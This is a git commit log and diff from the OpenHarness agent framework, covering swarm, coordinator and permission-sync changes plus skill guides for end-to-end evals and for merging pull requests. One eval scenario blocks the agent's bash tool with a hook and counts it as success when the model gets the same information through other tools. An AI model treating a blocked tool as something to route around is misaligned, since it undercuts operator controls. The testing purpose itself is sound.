Found during real E2E testing with Kimi K2.5 model.
2026-04-04 09:42:19 +00:00
tjb-tech 2291f7d4b0 fix(swarm): deep-fix permission sync and team lifecycle from source
- Add _kill_orphaned_teammate_panes() to team_lifecycle, mirroring TS
  killOrphanedTeammatePanes: kills pane-backed teammate processes before
  directory removal on ungraceful shutdown (SIGINT/SIGTERM)
- Update cleanup_session_teams() to kill orphaned panes first, then clean
  directories — matches TS cleanupSessionTeams two-phase teardown

Both permission_sync.py and team_lifecycle.py now faithfully translate
all exported and internal functions from permissionSync.ts / teamHelpers.ts.
2026-04-04 09:42:19 +00:00
tjb-tech 5f0c26e583 fix(coordinator): deep-fix agent definitions with 20+ fields from source
- Add dontAsk to PERMISSION_MODES
- Add statusline-setup built-in agent (tools: Read/Edit, model: sonnet, color: orange)
- Add claude-code-guide built-in agent (tools: Glob/Grep/Read/WebFetch/WebSearch, model: haiku, permissionMode: dontAsk)
- Update verification agent system prompt to match latest TS source:
  - Add Mobile (iOS/Android) verification strategy
  - Add browser automation check rationalization
  - Add 'Test suite results are context, not evidence' paragraph
  - Add Bad example to output format section
  - More precise BEFORE ISSUING FAIL guidance
2026-04-04 09:42:19 +00:00
tjb-tech 0e69356a25 fix(swarm): deep-fix permission sync, mailbox and team lifecycle from source
- permission_sync.py: expand SwarmPermissionRequest with all TS fields
  (worker_id, worker_name, worker_color, status, resolved_by, resolved_at,
  feedback, updated_input, permission_updates, created_at); add
  PermissionResolution, PermissionResponse dataclasses; add directory-based
  storage with pending/ and resolved/ subdirs; add generate_request_id(),
  generate_sandbox_request_id(), write_permission_request() with fcntl locking,
  read_pending_permissions(), read_resolved_permission(), resolve_permission(),
  cleanup_old_resolutions(), delete_resolved_permission(), poll_for_response(),
  remove_worker_response(), submit_permission_request alias, is_team_leader(),
  is_swarm_worker(), get_leader_name(), send_permission_request_via_mailbox(),
  send_permission_response_via_mailbox(),
  send_sandbox_permission_request_via_mailbox(),
  send_sandbox_permission_response_via_mailbox()

- mailbox.py: add sandbox_permission_request/response to MessageType; add
  create_permission_request_message(), create_permission_response_message(),
  create_sandbox_permission_request_message(),
  create_sandbox_permission_response_message(); add is_permission_request(),
  is_permission_response(), is_sandbox_permission_request(),
  is_sandbox_permission_response(); add global write_to_mailbox() helper

- team_lifecycle.py: add sanitize_name(), sanitize_agent_name(); expand
  TeamMember with agent_type, model, prompt, color, plan_mode_required,
  session_id, subscriptions, is_active, mode, tmux_pane_id, cwd; add
  AllowedPath dataclass; expand TeamFile with lead_agent_id, lead_session_id,
  hidden_pane_ids, team_allowed_paths; add read_team_file(), read_team_file_async(),
  write_team_file(), write_team_file_async(), remove_teammate_from_team_file(),
  add_hidden_pane_id(), remove_hidden_pane_id(), remove_member_from_team(),
  remove_member_by_agent_id(), set_member_mode(), sync_teammate_mode(),
  set_multiple_member_modes(), set_member_active(), register_team_for_session_cleanup(),
  unregister_team_for_session_cleanup(), cleanup_session_teams(),
  cleanup_team_directories(), destroy_worktree()

All 121 swarm tests pass; ruff clean.
2026-04-04 09:42:19 +00:00
tjb-tech d02d305dd5 fix(coordinator): deep-fix coordinator prompt and agent definitions from source
Expand get_coordinator_system_prompt() to match the full TypeScript source
(coordinatorMode.ts ~237 lines):
- Section 2: add subscribe_pr_activity tool mention and inline task-notification
  example showing the full coordinator-turn / user-notification flow
- Section 4 Stopping Workers: add code block with stop+continue pattern
- Section 5: add "Add a purpose statement" guidance, "Choose continue vs. spawn
  by context overlap" table, "Continue mechanics" with code examples, and
  complete good/bad prompt examples with git operation specifics
- Section 6 (new): Example Session with realistic XML task-notification flow

Expand AgentDefinition (Pydantic model) from 7 fields to 25+ to match
TypeScript BaseAgentDefinition:
- disallowed_tools, skills, mcp_servers, required_mcp_servers, hooks
- color (validated against AGENT_COLORS frozenset)
- effort (str "low"/"medium"/"high" or positive int)
- permission_mode (PERMISSION_MODES tuple)
- max_turns (positive int turn limit)
- background, initial_prompt, memory (MEMORY_SCOPES), isolation (ISOLATION_MODES)
- filename, base_dir, critical_system_reminder, pending_snapshot_update, omit_claude_md

Update built-in agents to match TS builtInAgents.ts:
- general-purpose: tools=['*'], enriched system prompt
- Explore: disallowed_tools, model='haiku', omit_claude_md=True
- Plan: disallowed_tools, model='inherit', omit_claude_md=True
- verification (renamed from verifier): color='red', background=True,
  model='inherit', disallowed_tools, critical_system_reminder, full
  verification system prompt with adversarial probes and output format
- worker: implementation-focused prompt

Update _parse_agent_frontmatter() to use yaml.safe_load (supports nested
structures for hooks, mcpServers), with simple key:value fallback.

Update load_agents_dir() to parse all new frontmatter fields with validation
(camelCase and snake_case aliases, type coercion, debug logging for invalids).

Add has_required_mcp_servers() and filter_agents_by_mcp_requirements() helpers
matching TS equivalents.

Add AGENT_COLORS, EFFORT_LEVELS, PERMISSION_MODES, MEMORY_SCOPES, ISOLATION_MODES
module-level constants.
2026-04-04 09:42:19 +00:00
tjb-tech 0d2d306440 fix(coordinator+mailbox): deep-fix system prompt and permission message factories from source
- Expand coordinator system prompt with full TS-faithful guidance: example session,
  verification strategies, prompt synthesis rules, continuation mechanics, good/bad
  prompt examples, concurrency guidance
- Add 8 permission message factory functions to mailbox: create/check permission
  request/response + sandbox variants
- Add write_to_mailbox convenience wrapper
2026-04-04 09:42:19 +00:00
tjb-tech 462aadd28c fix(swarm): deep-fix backends, in-process, registry and spawn utils from source
- types.py: Add PaneId, PaneBackend protocol, CreatePaneResult, BackendDetectionResult,
  TeammateSpawnConfig new fields (system_prompt_mode, worktree_path, session_id,
  subscriptions, color_override), is_pane_backend() guard helper
- registry.py: Detection priority pipeline (in_process → tmux → subprocess), _detect_tmux(),
  _detect_iterm2(), _is_it2_cli_available(), platform-specific install messages,
  detect_pane_backend(), mark_in_process_fallback(), get_preferred_backend() with config
  and env override, caching with invalidation, logging at each step
- in_process.py: TeammateAbortController with cancel_event/force_cancel/is_cancelled/
  request_cancel(); TeammateContext enhanced with message_queue, status, started_at,
  tool_use_count, total_tokens; _drain_mailbox() helper; _run_query_loop() tracks
  tool_use_count/total_tokens, injects queued user messages as new turns;
  InProcessBackend._cleanup_teammate(), _on_teammate_error(), get_teammate_status(),
  list_teammates(); shutdown chain uses abort_controller
- spawn_utils.py: Shell-quote all flag values with shlex.quote (security fix);
  --settings, --plugin-dir, --teammate-mode propagation; get_teammate_command()
  with installed entry-point detection; doc comments explaining why each env var is forwarded
2026-04-04 09:42:19 +00:00
tjb-tech a2514101af test: add comprehensive unit tests for swarm and coordinator components
Adds 156 tests across 9 new test files covering:
- coordinator_mode: TaskNotification XML, is_coordinator_mode, WorkerConfig
- agent_definitions: AgentDefinition model, built-ins, load_agents_dir
- swarm/types: TeammateIdentity, SpawnResult, TeammateExecutor protocol
- swarm/registry: BackendRegistry register/detect/get_executor
- swarm/mailbox: TeammateMailbox write/read/mark_read/clear + factories
- swarm/in_process: InProcessBackend spawn/shutdown/send_message, contextvars
- swarm/permission_sync: create/send/poll/handle permission flow
- swarm/team_lifecycle: TeamLifecycleManager CRUD with tmp_path fixtures
- swarm/worktree: validate_worktree_slug edge cases, flatten/branch helpers
2026-04-04 09:42:19 +00:00
tjb-tech 5c9206f716 feat(tools): upgrade agent_tool and send_message_tool to use swarm backend
- agent_tool: uses BackendRegistry (in_process preferred, subprocess fallback),
  looks up AgentDefinition by subagent_type, applies system_prompt/permissions,
  returns agent_id and task_id in output
- send_message_tool: routes messages via swarm backend when task_id contains '@'
  (swarm agent_id format); falls back to task manager for legacy task IDs
- both tools preserve existing input/output schema compatibility
2026-04-04 09:42:19 +00:00
tjb-tech 831b7aabdf feat(swarm): implement WorktreeManager with slug validation and git worktree isolation
- validate_worktree_slug(): sanitize/validate slugs (64 char max, path-traversal safe)
- WorktreeInfo dataclass: slug, path, branch, original_path, created_at, agent_id
- WorktreeManager: create/remove/list worktrees, symlink common dirs, cleanup_stale()
- Compatible with existing EnterWorktreeTool and ExitWorktreeTool APIs
2026-04-04 09:42:19 +00:00
tjb-tech 6a867f1165 feat(swarm): implement permission sync protocol for leader-worker bridging
Add src/openharness/swarm/permission_sync.py with:
- SwarmPermissionRequest / SwarmPermissionResponse dataclasses
- create_permission_request() factory (uuid-based IDs)
- send_permission_request() – writes permission_request to leader mailbox
- poll_permission_response() – polls worker mailbox with configurable timeout
- handle_permission_request() – evaluates via PermissionChecker, auto-approves read-only tools
- send_permission_response() – routes resolved response back to worker mailbox

Update swarm/__init__.py to export all new public symbols.
2026-04-04 09:42:19 +00:00
tjb-tech 6dbac5471e feat(swarm): implement TeamLifecycleManager with persistent team file management
Phase 2.3 - adds TeamMember, TeamFile, and TeamLifecycleManager.
Teams are persisted to ~/.openharness/teams/<name>/team.json using
the same directory layout as the mailbox system.
2026-04-04 09:42:19 +00:00
tjb-tech 1c21a07cb4 feat(swarm): implement InProcessBackend with contextvars isolation
Add src/openharness/swarm/in_process.py:
- TeammateContext dataclass + ContextVar for per-teammate isolation
- get_teammate_context / set_teammate_context accessors
- start_in_process_teammate() coroutine: sets context, drives query
  engine, polls mailbox for shutdown messages, notifies leader on exit
- InProcessBackend implementing TeammateExecutor: spawn() creates asyncio
  Tasks with copied context; send_message() writes to file mailbox;
  shutdown() sets cancel_event then awaits task with timeout/force-cancel

Register InProcessBackend in BackendRegistry._register_defaults() so
get_executor("in_process") works out of the box.
2026-04-04 09:42:19 +00:00
tjb-tech f5f1c08c56 feat(coordinator): implement full agent definition loading system
Replace the 23-LOC stub with a complete AgentDefinition Pydantic model,
5 built-in agents (general-purpose, Explore, Plan, worker, verifier),
YAML-frontmatter loader for user-defined .md agent files, and public
API functions get_all_agent_definitions() / get_agent_definition().
2026-04-04 09:42:19 +00:00
tjb-tech c8ea191b21 feat(swarm): add mailbox communication system for leader-worker messaging 2026-04-04 09:42:19 +00:00
tjb-tech 5a699cb123 feat(swarm): add Phase 1.2 swarm backend abstraction layer
- types.py: BackendType, TeammateIdentity, TeammateSpawnConfig, SpawnResult,
  TeammateMessage, and TeammateExecutor Protocol
- spawn_utils.py: get_teammate_command(), build_inherited_cli_flags(),
  build_inherited_env_vars(), is_tmux_available(), is_inside_tmux()
- subprocess_backend.py: SubprocessBackend implementing TeammateExecutor via
  the existing BackgroundTaskManager
- registry.py: BackendRegistry with detect_backend(), get_executor(),
  register_backend(), and get_backend_registry() singleton
2026-04-04 09:42:19 +00:00
tjb-tech f6dc40a9c1 feat(coordinator): implement full CoordinatorMode orchestration system
Add CoordinatorMode, TaskNotification, WorkerConfig dataclasses and
XML serialization helpers alongside the existing TeamRegistry.
2026-04-04 09:42:19 +00:00
chaohuang-ai 535c87a228 Update README.md 2026-04-04 13:49:27 +08:00
washi4 d5c888897d feat: add OpenAI-compatible API client (--api-format openai)
Add OpenAICompatibleClient that implements SupportsStreamingMessages,
enabling any provider using the OpenAI /v1/chat/completions format:
DashScope, DeepSeek, GitHub Models, Groq, Ollama, etc.

- New openai_client.py with streaming, tool calling, retry logic
- --api-format openai CLI flag and OPENHARNESS_API_FORMAT env var
- OPENAI_API_KEY fallback in resolve_api_key()
- Provider detection for dashscope/qwen and github models
- Wired through cli → app → runtime → client selection
- 11 unit tests for format conversion functions
- Updated README provider compatibility section
- CHANGELOG entries
2026-04-04 08:39:51 +08:00
chaohuang-ai 8ec5c7ab5b Update README.md 2026-04-03 22:51:10 +08:00
Jiabin Tang 54bf610016 Merge pull request #9 from HKUDS/codex/docs-ci-maintenance
docs: add repo docs and CI scaffolding
2026-04-03 13:50:57 +08:00
tjb-tech 77ac477fe3 ci: install without frozen lockfile 2026-04-03 05:49:59 +00:00
tjb-tech aab665492f docs: add repo docs and CI scaffolding 2026-04-03 04:58:40 +00:00
chaohuang-ai 56712df04c Update README.md 2026-04-03 10:57:57 +08:00
chaohuang-ai bc4d9e92b5 Update README.md 2026-04-03 10:56:02 +08:00
chaohuang-ai 36e36513bb Update README.md 2026-04-03 10:53:11 +08:00
chaohuang-ai 99250c3055 Update README.md 2026-04-03 10:52:19 +08:00
chaohuang-ai 6c1e3a94ea Update README.md 2026-04-03 10:51:01 +08:00
chaohuang-ai aaaa46751e Update README.md 2026-04-03 00:50:14 +08:00
chaohuang-ai b728757d7f Update README.md 2026-04-03 00:49:33 +08:00
341 changed files with 67808 additions and 1156 deletions
+1
View File
@@ -0,0 +1 @@
../.claude/skills
+193
View File
@@ -0,0 +1,193 @@
---
name: harness-eval
description: This skill should be used when the user asks to "test the harness", "run integration tests", "validate features with real API", "test with real model calls", "run agent loop tests", "verify end-to-end", or needs to verify OpenHarness features on a real codebase with actual LLM calls.
version: 0.2.0
---
# Harness Eval — End-to-End Feature Validation
Validate OpenHarness features by running real agent loops against an unfamiliar codebase with actual LLM API calls. Every test exercises the full stack: API client → model → tool calls → execution → result.
## Core Principles
1. **Test on an unfamiliar project** — never test on OpenHarness itself (the agent modifies its own code). Clone a real project as the workspace.
2. **Use real API calls** — no mocks. Configure a real LLM endpoint.
3. **Multi-turn conversations** — always test 2+ turns where the model needs prior context.
4. **Combine features** — test hooks+skills+agent loop together, not in isolation.
5. **Verify tool execution** — inspect tool call lists and output files, not just model text.
## Workflow
### 1. Prepare Workspace
Clone an unfamiliar project (do not use OpenHarness):
```bash
git clone https://github.com/HKUDS/AutoAgent /tmp/eval-workspace
```
### 2. Configure Environment
```bash
export ANTHROPIC_API_KEY=sk-xxx
export ANTHROPIC_BASE_URL=https://api.moonshot.cn/anthropic # or any provider
export ANTHROPIC_MODEL=kimi-k2.5
```
For long-running real evals, do not artificially lower `max_turns`. Use the product default (`200`) unless the user explicitly wants a tighter bound.
### 3. Prepare Real Sandbox Runtime When Relevant
If the task is validating sandbox behavior, install and verify the actual runtime before running agent loops:
```bash
npm install -g @anthropic-ai/sandbox-runtime
sudo apt-get update
sudo apt-get install -y bubblewrap ripgrep
which srt
which bwrap
which rg
srt --version
```
Then run a minimal smoke check through OpenHarness, not just raw `srt`, so you verify the real adapter path:
```python
from pathlib import Path
from openharness.config.settings import Settings, SandboxSettings, save_settings
from openharness.tools.bash_tool import BashTool
cfg = Path("/tmp/openharness-sandbox-settings.json")
save_settings(Settings(sandbox=SandboxSettings(enabled=True, fail_if_unavailable=True)), cfg)
# Point config loader at this file, then run BashTool on a tiny command such as `pwd`.
```
If sandbox dependencies are missing, treat that as an environment/setup failure, not a feature regression.
### 4. Design Tests
Each test follows this pattern:
```python
engine = make_engine(system_prompt="...", cwd=UNFAMILIAR_PROJECT)
evs1 = [ev async for ev in engine.submit_message("Read X, analyze Y")]
r1 = collect(evs1) # text, tools, turns, tokens
evs2 = [ev async for ev in engine.submit_message("Based on what you found...")]
r2 = collect(evs2)
assert "grep" in r1["tools"] # verify tools ran
```
For detailed code templates and the `make_engine`/`collect` helpers, consult `references/test-patterns.md`.
### 5. Prefer Long-Horizon, Real Agent Loops
For meaningful end-to-end validation, prefer unfamiliar-repo tasks that force multiple turns, context reuse, and mixed tool usage.
Recommended pattern:
- Use a real external workspace such as `AutoAgent`
- Use real provider credentials and the actual target model
- Keep `max_turns=200`
- Use per-prompt timeouts large enough for real exploration, such as `240-600s`
- Require at least 2 turns per scenario
- Verify both text quality and tool traces
- Keep polling long-running sessions until they finish; do not abandon a run after the first long pause
Recommended long-horizon scenarios:
- `architecture_multiturn`
- Turn 1: map architecture, shell/subprocess surfaces, and test entrypoints
- Turn 2: identify top risks and propose refactors
- Turn 3: condense into onboarding or remediation actions
- Success: `bash`, `glob`, `grep`, `read_file` all appear; no timeout; no `MaxTurnsExceeded`
- `hook_block_and_recover`
- Force the model to try `bash`
- Block it with a real pre-tool hook
- Verify the model adapts with `glob`/`grep`/`read_file`
- `sandbox_multiturn`
- Enable real sandbox settings with `fail_if_unavailable=true`
- First prompt must start with exactly one shell command such as `pwd && ls -la`
- Second prompt must explicitly reuse the prior shell findings
- Success: `bash` executes via sandbox, non-shell tools continue the task, and the agent recovers from incidental repo errors
When a scenario fails, classify it before changing code:
- `MaxTurnsExceeded`: likely eval harness misconfiguration if `max_turns` was manually lowered
- `timeout`: task is too broad or per-prompt timeout is too small
- sandbox unavailable: environment missing `srt`, `bwrap`, or `rg`
- tool error with task still completed: feature may still be healthy; inspect recovery behavior
### 6. Run Tests
```bash
python tests/test_merged_prs_on_autoagent.py # PR feature tests
python tests/test_real_large_tasks.py # large multi-step tasks
python tests/test_hooks_skills_plugins_real.py # hooks/skills/plugins
python -m pytest tests/ -q -k "not autoagent" # unit tests (no API)
```
For ad hoc long-horizon validation, it is acceptable to run a temporary Python driver script as long as it:
- uses real OpenHarness engine/tool objects
- targets an unfamiliar repository
- prints per-scenario JSON summaries
- records tools, errors, turns, and token usage
- stays attached until completion
### 7. Interpret Results
| Result | Meaning | Action |
|--------|---------|--------|
| PASS with tool calls | Feature works end-to-end | Done |
| PASS without tool calls | Model answered from knowledge | Rewrite prompt to force tool use |
| FAIL with exception | Code bug | Read traceback |
| FAIL with wrong output | Model behavior issue | Check system prompt and tool schemas |
| Timeout | Task too complex | Increase `max_turns` or simplify prompt |
For long-running real evals, refine the timeout guidance:
- First check whether `max_turns` was manually set too low
- If `max_turns=200` and the run still fails, the next suspect is wall-clock timeout, not turn count
- Distinguish environment failures from product failures
- Example: missing dependency in the unfamiliar target repo is not automatically an OpenHarness regression
- Example: missing `srt`/`bwrap`/`rg` is an eval environment issue
## Feature Coverage Checklist
- [ ] Engine: multi-turn memory, tool chaining, parallel tools, error recovery, auto-compaction
- [ ] Swarm: InProcessBackend lifecycle, concurrent teammates, coordinator+notifications
- [ ] Hooks: pre_tool_use blocking → model adapts, post_tool_use firing
- [ ] Skills: skill tool invocation → model follows instructions
- [ ] Plugins: plugin-provided skill loaded and used in agent loop
- [ ] Memory: YAML frontmatter parsing, body content search, context injection
- [ ] Session: save → load → resume with context preserved
- [ ] Providers: Anthropic client, OpenAI client (with reasoning_content), multi-turn
- [ ] Cost: token accumulation across turns
## Common Pitfalls
- Testing on OpenHarness itself — agent modifies its own running code
- Using mocks — misses serialization and API compatibility bugs
- Single-turn only — misses context accumulation and compaction bugs
- Artificially lowering `max_turns` during real evals — can create false failures that do not reflect product defaults
- Not checking tool call list — model may claim tool use without calling it
- Hardcoding paths — use `WORKSPACE` variable, skip in CI with `pytest.mark.skipif`
- Declaring sandbox “tested” after only checking raw `srt` — verify the OpenHarness adapter path too
- Abandoning long tasks too early — some real tasks pause for minutes before the next event arrives
## Additional Resources
### Reference Files
- **`references/test-patterns.md`** — Complete code templates for `make_engine`, `collect`, and each feature category
- **`references/feature-matrix.md`** — Detailed test cases for every OpenHarness module
### Existing Test Files
Working test suites in the repo:
- `tests/test_merged_prs_on_autoagent.py` — PR feature validation
- `tests/test_real_large_tasks.py` — Large multi-step tasks
- `tests/test_hooks_skills_plugins_real.py` — Hooks/skills/plugins in agent loops
- `tests/test_untested_features.py` — Module-level integration tests
@@ -0,0 +1,47 @@
# Feature Test Matrix — Detailed Test Cases
## Engine & Tools
| Test | What to Verify | Key Assertion |
|------|---------------|---------------|
| Multi-turn memory | Set fact turn 1, recall turn 3 | Fact appears in turn 3 response |
| Tool chaining | glob → grep → read in one task | All 3 tools in tool list |
| Write→Edit→Read | Create, modify, verify file | File content matches expected |
| Parallel tools | 3+ tool calls in one response | 3+ tools in single turn |
| Error recovery | Tool fails, model adapts | Alternative tool used after error |
| Auto-compaction | 5+ tasks on shared engine | No context overflow crash |
## Swarm & Coordinator
| Test | What to Verify | Key Assertion |
|------|---------------|---------------|
| InProcessBackend | spawn → active → status → shutdown | All states transition correctly |
| Concurrent teammates | 2+ agents running simultaneously | Both complete, total time < 2x single |
| Coordinator + notifications | Multi-turn delegation with XML | Coordinator synthesizes worker results |
| Permission sync | request → pending → resolve | Pending count goes to 0 after resolve |
## Hooks, Skills, Plugins
| Test | What to Verify | Key Assertion |
|------|---------------|---------------|
| Hook blocks → adapt | pre_tool_use blocks bash | "bash" in errors, "glob" in tools |
| Skill invocation | Model calls skill tool | "skill" in tools, content drives next action |
| Plugin skill | Plugin provides skill | Loaded via skill tool, model follows it |
| Hook + skill combined | Hook gates writes, skill guides | Protected file untouched, new file created |
## Memory, Session, Config
| Test | What to Verify | Key Assertion |
|------|---------------|---------------|
| Memory frontmatter | YAML parsed, not "---" | description != "---", body searchable |
| Session resume | Save → load → continue | Model remembers prior context |
| Cost tracking | Tokens accumulate | in_tokens strictly increasing |
| Cron CRUD | Create, toggle, mark_run, delete | Job count correct at each step |
## Provider Compatibility
| Test | What to Verify | Key Assertion |
|------|---------------|---------------|
| Anthropic client | Standard tool calling | Tools execute, response coherent |
| OpenAI client | Tool calling + reasoning_content | No 400 error on tool call round-trip |
| OpenAI multi-turn | reasoning_content persists | 3+ turns without API error |
@@ -0,0 +1,150 @@
# Test Patterns — Code Templates for Harness Eval
## Engine Setup Helpers
```python
import asyncio, sys, os
from pathlib import Path
sys.path.insert(0, "src")
API_KEY = os.environ.get("ANTHROPIC_API_KEY", "your-key")
BASE_URL = os.environ.get("ANTHROPIC_BASE_URL", "https://api.moonshot.cn/anthropic")
OPENAI_BASE = os.environ.get("OPENAI_BASE_URL", "https://api.moonshot.cn/v1")
MODEL = os.environ.get("ANTHROPIC_MODEL", "kimi-k2.5")
WORKSPACE = Path("/tmp/eval-workspace") # unfamiliar project
def make_anthropic_engine(system_prompt, cwd=None, extra_tools=None):
from openharness.api.client import AnthropicApiClient
from openharness.config.settings import PermissionSettings
from openharness.engine.query_engine import QueryEngine
from openharness.permissions.checker import PermissionChecker
from openharness.permissions.modes import PermissionMode
from openharness.tools.base import ToolRegistry
from openharness.tools.bash_tool import BashTool
from openharness.tools.file_read_tool import FileReadTool
from openharness.tools.file_write_tool import FileWriteTool
from openharness.tools.file_edit_tool import FileEditTool
from openharness.tools.glob_tool import GlobTool
from openharness.tools.grep_tool import GrepTool
api = AnthropicApiClient(api_key=API_KEY, base_url=BASE_URL)
reg = ToolRegistry()
for t in [BashTool(), FileReadTool(), FileWriteTool(), FileEditTool(), GlobTool(), GrepTool()]:
reg.register(t)
for t in (extra_tools or []):
reg.register(t)
checker = PermissionChecker(PermissionSettings(mode=PermissionMode.FULL_AUTO))
return QueryEngine(
api_client=api, tool_registry=reg, permission_checker=checker,
cwd=Path(cwd or WORKSPACE), model=MODEL, system_prompt=system_prompt, max_tokens=4096,
)
def make_openai_engine(system_prompt, cwd=None, extra_tools=None):
from openharness.api.openai_client import OpenAICompatibleClient
# Same structure as above, but with:
api = OpenAICompatibleClient(api_key=API_KEY, base_url=OPENAI_BASE)
# ... rest identical
def collect(events):
from openharness.engine.stream_events import (
AssistantTextDelta, AssistantTurnComplete,
ToolExecutionStarted, ToolExecutionCompleted,
)
r = {"text": "", "tools": [], "turns": 0, "in_tok": 0, "out_tok": 0}
for ev in events:
if isinstance(ev, AssistantTextDelta):
r["text"] += ev.text
elif isinstance(ev, ToolExecutionStarted):
r["tools"].append(ev.tool_name)
elif isinstance(ev, AssistantTurnComplete):
r["turns"] += 1
r["in_tok"] += ev.usage.input_tokens
r["out_tok"] += ev.usage.output_tokens
return r
```
## Multi-Turn Memory Test
```python
async def test_multi_turn_memory():
engine = make_anthropic_engine("Remember what the user tells you.")
[ev async for ev in engine.submit_message("My favorite number is 42.")]
[ev async for ev in engine.submit_message("What is 2+2?")]
evs = [ev async for ev in engine.submit_message("What is my favorite number?")]
r = collect(evs)
assert "42" in r["text"]
```
## Hook Blocks Tool → Model Adapts
```python
async def test_hook_blocks():
from openharness.hooks.events import HookEvent
from openharness.hooks.loader import HookRegistry
from openharness.hooks.schemas import CommandHookDefinition
from openharness.hooks.executor import HookExecutor, HookExecutionContext
hook_reg = HookRegistry()
hook_reg.register(HookEvent.PRE_TOOL_USE, CommandHookDefinition(
type="command", command="exit 1",
matcher="bash", block_on_failure=True, timeout_seconds=5,
))
# ... create engine with hook_executor, model tries bash, gets blocked, adapts to glob
```
## Skill Tool Invocation
```python
async def test_skill_invocation():
from openharness.tools.skill_tool import SkillTool
engine = make_anthropic_engine(
"Use the 'skill' tool to load instructions before working.",
extra_tools=[SkillTool()],
)
evs = [ev async for ev in engine.submit_message(
"Load the 'diagnose' skill, then investigate the codebase."
)]
r = collect(evs)
assert "skill" in r["tools"]
```
## InProcess Concurrent Teammates
```python
async def test_concurrent_teammates():
from openharness.swarm.in_process import start_in_process_teammate, TeammateAbortController
from openharness.swarm.types import TeammateSpawnConfig
from openharness.engine.query import QueryContext
async def run_one(name, prompt):
ctx = QueryContext(api_client=api, tool_registry=reg, ...)
config = TeammateSpawnConfig(name=name, team="test", prompt=prompt, ...)
abort = TeammateAbortController()
await start_in_process_teammate(config=config, agent_id=f"{name}@test", abort_controller=abort, query_context=ctx)
await asyncio.gather(
asyncio.wait_for(run_one("worker-a", "Count .py files"), timeout=30),
asyncio.wait_for(run_one("worker-b", "Find main class"), timeout=30),
)
```
## Session Save → Resume
```python
async def test_session_resume():
from openharness.services.session_storage import save_session_snapshot, load_session_snapshot
from openharness.engine.messages import ConversationMessage
engine1 = make_anthropic_engine("Remember context.")
[ev async for ev in engine1.submit_message("Project uses FastAPI + React.")]
save_session_snapshot(cwd=tmpdir, model=MODEL, system_prompt="...", messages=engine1.messages, usage=engine1.total_usage)
loaded = load_session_snapshot(tmpdir)
engine2 = make_anthropic_engine("Continue analysis.")
engine2.load_messages([ConversationMessage.model_validate(m) for m in loaded["messages"]])
evs = [ev async for ev in engine2.submit_message("What tech stack did I mention?")]
assert "fastapi" in collect(evs)["text"].lower()
```
+99
View File
@@ -0,0 +1,99 @@
---
name: pr-merge
description: This skill should be used when the user asks to "merge a PR", "review and merge pull requests", "integrate external contributions", "handle PR conflicts", "cherry-pick from a PR", or needs to merge GitHub PRs while maximizing contributor attribution.
version: 0.1.0
---
# PR Merge — Contributor-First Pull Request Integration
Merge external pull requests while maximizing original author attribution. Core principle: **merge first, resolve conflicts after** — never rewrite a contributor's work from scratch.
## Core Principles
1. **Preserve authorship** — use `gh pr merge --squash` for clean PRs. For manual merges, use `--author="Name <email>"`.
2. **Merge first, fix after** — accept the PR's approach even if it differs from local style. Fix conflicts in a separate commit.
3. **Selective merge is OK** — exclude files with `--exclude` when a PR contains features already implemented locally. Document what was excluded.
4. **Never `git apply` + self-commit** — this loses author attribution entirely.
## Workflow
### 1. Triage Open PRs
```bash
gh pr list --repo OWNER/REPO --state open \
--json number,title,author,additions,deletions,mergeable
```
Classify each PR: merge directly, merge with conflict resolution, selective merge, or close.
### 2. Merge Clean PRs via GitHub
Prefer `gh pr merge` — preserves author automatically:
```bash
gh pr merge NUMBER --repo OWNER/REPO --squash \
--subject "feat: description (#NUMBER)"
```
### 3. Handle Conflicting PRs Locally
```bash
git fetch origin pull/NUMBER/head:pr-NUMBER
git merge pr-NUMBER --no-edit
# Resolve conflicts keeping both sides where possible
git add -A && git commit --no-edit
```
### 4. Selective Merge (Skip Some Files)
When a PR contains features already implemented locally:
```bash
gh pr diff NUMBER --repo OWNER/REPO | \
git apply --exclude='path/to/skip.py' --exclude='CHANGELOG.md'
git commit --author="Author Name <author@email>" \
-m "feat: description (#NUMBER)
Cherry-picked from PR #NUMBER. Excluded: file.py (already implemented)."
```
### 5. Close Duplicate/Superseded PRs
```bash
gh pr close NUMBER --repo OWNER/REPO \
--comment "Fixed via PR #OTHER. Thank you for the contribution!"
```
### 6. Post-Merge Verification
```bash
python -m ruff check src/ tests/ # lint
python -m pytest tests/ -q # unit tests
git push origin main # push
```
Then run `harness-eval` for end-to-end verification on an unfamiliar codebase.
## Attribution Checklist
Before pushing a merged PR:
- [ ] Original author appears in `git log` (via `--author` or GitHub squash merge)
- [ ] Commit message references PR number (`#NUMBER`)
- [ ] If selectively merged, commit body explains exclusions
- [ ] Closed PRs have a comment thanking the contributor
- [ ] Duplicate PRs acknowledge the contributor's investigation
## Common Pitfalls
- `git apply` + self-commit loses author
- Rewriting from scratch instead of merging — merge their code, fix style after
- Force-pushing main after merge — may remove contributor commits
- Forgetting CHANGELOG conflicts — always exclude and handle manually
- Not testing after merge — clean merge doesn't mean working code
## Additional Resources
### Reference Files
- **`references/merge-scenarios.md`** — Detailed examples for each merge scenario (clean, conflicting, selective, duplicate)
@@ -0,0 +1,131 @@
# Merge Scenarios — Detailed Examples
## Scenario 1: Clean Merge (No Conflicts)
PR adds a new feature, no files overlap with local changes.
```bash
# Preferred: squash merge via GitHub (preserves author)
gh pr merge 17 --repo HKUDS/OpenHarness --squash \
--subject "feat(skills): add diagnose skill (#17)"
# Result: author "Qu Zhi" appears in git log
```
## Scenario 2: CHANGELOG Conflict Only
Almost every PR touches CHANGELOG.md. Handle by excluding it:
```bash
gh pr diff 14 --repo OWNER/REPO | \
git apply --exclude='CHANGELOG.md'
git add -A
# Manually merge CHANGELOG sections (keep both)
# Then commit with original author
git commit --author="washi4 <washi4@users.noreply.github.com>" \
-m "feat: add OpenAI-compatible client (#14)"
```
## Scenario 3: Conflicting UI Files
PR #14 modified ui/app.py and ui/backend_host.py which were also changed by PR #13.
```bash
# Apply excluding conflicting files
gh pr diff 14 --repo OWNER/REPO | \
git apply --exclude='src/ui/app.py' --exclude='src/ui/backend_host.py' --exclude='CHANGELOG.md'
# Manually add the PR's changes to conflicting files
# Read the PR diff to understand what they added, apply by hand
# Commit with author
git commit --author="Author <email>" -m "feat: description (#14)"
```
## Scenario 4: Selective Merge (Skip Features)
PR #16 has auto-compact (already implemented locally) + --resume (wanted) + cron (wanted).
```bash
# Exclude the file containing the unwanted feature
gh pr diff 16 --repo OWNER/REPO | git apply \
--exclude='src/engine/query_engine.py' \ # skip auto-compact
--exclude='CHANGELOG.md' \
--exclude='README.md'
# Commit with explanation
git commit --author="Chao Qin <win4r@users.noreply.github.com>" \
-m "feat: wire --resume/--continue and cron scheduler (#16)
